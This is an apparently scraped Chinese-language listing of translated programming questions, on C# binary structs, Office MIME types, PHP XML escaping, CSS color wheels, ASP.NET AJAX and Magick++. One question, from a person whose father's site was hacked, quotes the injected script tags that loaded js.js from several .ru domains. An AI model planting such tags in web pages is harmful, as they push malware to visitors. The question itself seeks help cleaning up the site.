小编EM-*_*ons的帖子

将二进制文件读入结构

我正在尝试使用C#读取二进制数据.我有关于我想要阅读的文件中数据布局的所有信息.我能够读取数据"chunk by chunk",即获取前40个字节的数据将其转换为字符串,获得接下来的40个字节.

由于至少有三种略有不同的数据版本,我想将数据直接读入结构中.它只是通过"逐行"阅读它而感觉更加正确.

我尝试了以下方法但无济于事:

StructType aStruct;
int count = Marshal.SizeOf(typeof(StructType));
byte[] readBuffer = new byte[count];
BinaryReader reader = new BinaryReader(stream);
readBuffer = reader.ReadBytes(count);
GCHandle handle = GCHandle.Alloc(readBuffer, GCHandleType.Pinned);
aStruct = (StructType) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(StructType));
handle.Free();
Run Code Online (Sandbox Code Playgroud)

该流是一个打开的FileStream,我已经开始从中读取.我AccessViolationExceptio在使用时得到了一个Marshal.PtrToStructure.

由于我对文件末尾的数据不感兴趣,因此该流包含的信息比我尝试阅读的要多.

结构定义如下:

[StructLayout(LayoutKind.Explicit)]
struct StructType
{
    [FieldOffset(0)]
    public string FileDate;
    [FieldOffset(8)]
    public string FileTime;
    [FieldOffset(16)]
    public int Id1;
    [FieldOffset(20)]
    public string Id2;
}
Run Code Online (Sandbox Code Playgroud)

示例代码从原始代码更改为使此问题更短.

如何将二进制数据从文件读入结构?

c# io struct binaryfiles

52
推荐指数
4
解决办法
6万
查看次数

Microsoft Office 2007文件类型,Mime类型和标识字符

在哪里可以找到所有MIME类型的列表以及Microsoft Office 2007文件的标识字符?

我有一个上传表单,限制基于扩展名和识别字符的上传,但我似乎无法找到Office 2007 MIME类型.

有人可以帮忙吗?

mime office-2007 file-type

46
推荐指数
1
解决办法
2929
查看次数

用PHP生成XML文档(转义字符)

我正在从PHP脚本生成XML文档,我需要转义XML特殊字符.我知道应该转义的字符列表; 但是这样做的正确方法是什么?

是否应该使用反斜杠(\')或正确的方式转义字符?是否有任何内置的PHP函数可以为我处理这个?

php xml

46
推荐指数
5
解决办法
7万
查看次数

PhpStorm代码完成不显示核心类/扩展

我在使用PHPStorm时遇到了麻烦.我刚开始新项目创建了几个我自己的类,其中一个我创建了PDO对象.

$this->cnn = new PDO("sqlite:db/base.db");
Run Code Online (Sandbox Code Playgroud)

现在,当我想通过crtl + whitespace看看这个对象有什么样的方法时,我没有得到任何建议.然后我试着看看我可以使用的课程列表.

$newClass = new
Run Code Online (Sandbox Code Playgroud)

当我按下ctrl +空格时,它只显示了我创建的类.

所以问题是,我需要做什么,让PhpStorm看到所有可用的类(不仅仅是我创建的类).

PS当我按住Ctrl +单击PDO(带下划线)时,它表示该类未定义

项目设置中的PPS我选择了php 5.4语言和选择的解释器(php 5.4.7,使用xampp)

php ide xampp phpstorm

46
推荐指数
2
解决办法
2万
查看次数

使用背景颜色的多色圆形div?

我正在尝试在CSS中创建一个多色圈来模拟一个幸运之轮,我尝试过使用线性渐变但它只是应用垂直穿过圆形div的颜色条而不是像被切割一样的彩色区域如果这是有意义的披萨?

这是我试过的代码:

background: -moz-linear-gradient(left, red, red 20%, blue 20%, blue);
Run Code Online (Sandbox Code Playgroud)

结果如下:

轮尝试

但我希望它看起来更像这样?:

彩色轮

这在CSS中是否可行,或者我将不得不使用背景图像(我宁愿避免使用它,因为它不像页面调整大小那样容易扩展等等)?

html css background css3 background-color

34
推荐指数
6
解决办法
3425
查看次数

我的网站被黑了......我该怎么办?

我父亲今天打电话给我,说他们去他的网站的人有168种病毒试图下载到他们的电脑上.他根本不是技术人员,用WYSIWYG编辑器构建了整个东西.

我打开他的网站并查看了源代码,在关闭HTML标记之前,源代码底部有一行Javascript包含.他们包括这个文件(以及许多其他文件):http://www.98hs.ru/js.js < - 在你去URL之前关掉JAVASCRIPT.

所以我现在评论它.事实证明他的FTP密码是一个普通的字典单词六个字母长,所以我们认为这是如何被黑客攻击.我们已经将他的密码更改为一个8位以上的非单词字符串(他不会用密码短语,因为他是一个狩猎的傻瓜).

在98hs.ru上做了一个whois,发现它是从智利的服务器托管的.实际上还有一个与之相关的电子邮件地址,但我严重怀疑这个人是罪魁祸首.可能只是其他一些被黑客入侵的网站......

我不知道在这一点上该做什么,因为我以前从未处理过这类事情.有人有什么建议吗?

他通过webhost4life.com使用普通的jane un-secured ftp.我甚至没有看到在他们的网站上 sftp 的方法.我在想他的用户名和密码被截获了吗?

因此,为了使这与社区更相关,您应采取哪些步骤/最佳做法,以保护您的网站免遭黑客入侵?

为了记录,这里是"神奇地"添加到他的文件中的代码行(并且不在他的计算机上的文件中 - 我留下它注释掉,只是为了绝对确定它不会做任何事情在这个页面上,虽然我确信杰夫会防范这个):

<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script …
Run Code Online (Sandbox Code Playgroud)

security cracking

21
推荐指数
3
解决办法
3487
查看次数

简单的AJAX WebControls方式

我有一个我正在尝试优化的Web应用程序.某些控件隐藏在对话框样式中DIVs.所以,我希望只有当用户想要看到它们时才通过AJAX加载它们.这对于大多数基于文字的控件(各种菜单和小部件)来说都很好,但是当我拥有所谓的"脏"控件时 - 那些写入大量信息的控件ViewState,在页面上放置大量的CSS或脚本,需要很多引用等 - 这些似乎不可能"移出页面",特别是考虑到ASP.NET将如何对回发做出反应.

我正在考虑某种步骤,我覆盖渲染,找到我要移出的位的标记,并将AJAX占位符放在那里,但不仅服务器开销看起来极端,它也感觉像一个完整的黑客.此外,这里的关键因素是包含在它们与验证控件形式的对话框,我无法想象我会怎样移动的控制他们所需要的脚本.

在我狂热的想象中,我想这样做:

AJAXifier.AJAXify(ctlEditForm);
Run Code Online (Sandbox Code Playgroud)

可悲的是,我知道这是一个梦想.

如何在不造成服务器过多负载的情况下真正接近快速简便的AJAX化?

asp.net ajax web-controls

18
推荐指数
1
解决办法
533
查看次数

如何在C#中过滤和组合2个数据集

我正在构建一个网页,向客户展示他们购买的软件,并为他们提供下载所述软件的链接.不幸的是,关于购买的内容和下载信息的数据都在不同的数据库中,所以我不能只通过SQL查询中的连接来处理它.

常见项目是SKU.我将从客户购买数据库中提取SKU列表,并在下载表上显示与该下载相关联的SKU的逗号描述列表.目前,我的目的是从这一个数据库创建一个填充GridView.

任何关于如何有效地做到这一点的建议将不胜感激.如果它有帮助,我可以很容易地将数据作为a DataSet或a 拉回来DataReader,如果其中任何一个更好用于此目的.

.net c#

12
推荐指数
1
解决办法
2375
查看次数

为什么"hash('md5','string')"比"md5('string')"更快?

http://www.php.net/manual/en/function.hash.php#73792上,它声明了一个测试,该测试显示该md5()函数比等效hash()函数慢约3倍.

有什么可以解释这种差异?md5()功能有何不同和/或更多?

php hash md5

12
推荐指数
2
解决办法
1552
查看次数

使用Magick ++获取像素颜色?

我已经问过这个问题,但那是关于FreeImage.现在我正在尝试做同样的事情ImageMagick(更正确,有Magick++).

我需要的是获得图像中像素的RGB值,并能够将其打印到屏幕上.我在ImageMagick论坛上问了这个,但似乎没有人在那里.:-(有人可以帮帮忙吗?

c++ imagemagick magick++

8
推荐指数
1
解决办法
5094
查看次数